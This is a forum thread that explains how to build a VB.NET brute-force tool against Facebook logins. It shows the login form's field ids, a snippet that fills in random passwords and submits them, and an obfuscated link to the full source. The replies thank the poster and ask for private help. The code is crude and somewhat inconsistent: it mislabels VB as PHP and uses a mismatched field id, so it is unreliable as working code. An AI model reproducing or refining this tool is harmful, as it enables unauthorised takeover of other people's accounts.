Thread: [\[SOURCE\]\[VB.NET\] >>> HOW TO CREATE A BRUTE-FORCE TOOL <<< \[VB.NET\]\[SOURCE\]](#)

Axion - March 4, 2017, 12:32 pm

I will explain how to do a brute-forcer for Facebook (but can be used with other websites aswell). First, you have this code (got with inspect element from Facebook login page):

PHP Code

```
<?php
<input type="email" class="inputtext" name="email" id="email" value="" tabindex="1">
```

Note down the id: email.

Now the password:

PHP Code

```
<?php
<input type="password" class="inputtext" name="pass" id="pass" tabindex="2">
```

Note down the id: pass.

Now the login button:

PHP Code

```
<?php
<input value="Log In" tabindex="4" type="submit" id="u_0_q">
```

Note down the id: u_0_q and type: submit

These will be used like this:

PHP Code

```
<?php
If WebBrowser1.Document.GetElementById("email") IsNot Nothing Then
    WebBrowser1.Document.GetElementById("email").SetAttribute("value",
"your_email@yahoo.com")
End If
Dim genne As String
genne = GenerateRandomAlpha(15) 'Maximum password length'
ListBox1.Items.Add(genne)
If WebBrowser1.Document.GetElementById("password") IsNot Nothing Then
    WebBrowser1.Document.GetElementById("password").SetAttribute("value", genne)
End If
If WebBrowser1.Document.GetElementById("u_0_q") IsNot Nothing Then
    WebBrowser1.Document.InvokeScript("submit")
End If
```

Whole source code (needs improvement):

[paste]%70%61%73%74%65%62%69%6e%2e%63%6f%6d/1GNN8VDd[/paste]

Link is broken, also I believe this belongs better in the vb.net section instead. Thank you & have a nice day mate! ?

BinaryFox - *July 14, 2017, 10:36 am*

Very thanks for your code !

roadrunner24C - *July 18, 2017, 9:29 am*

Hey, can you contact me personally. I wanna know how to do this.
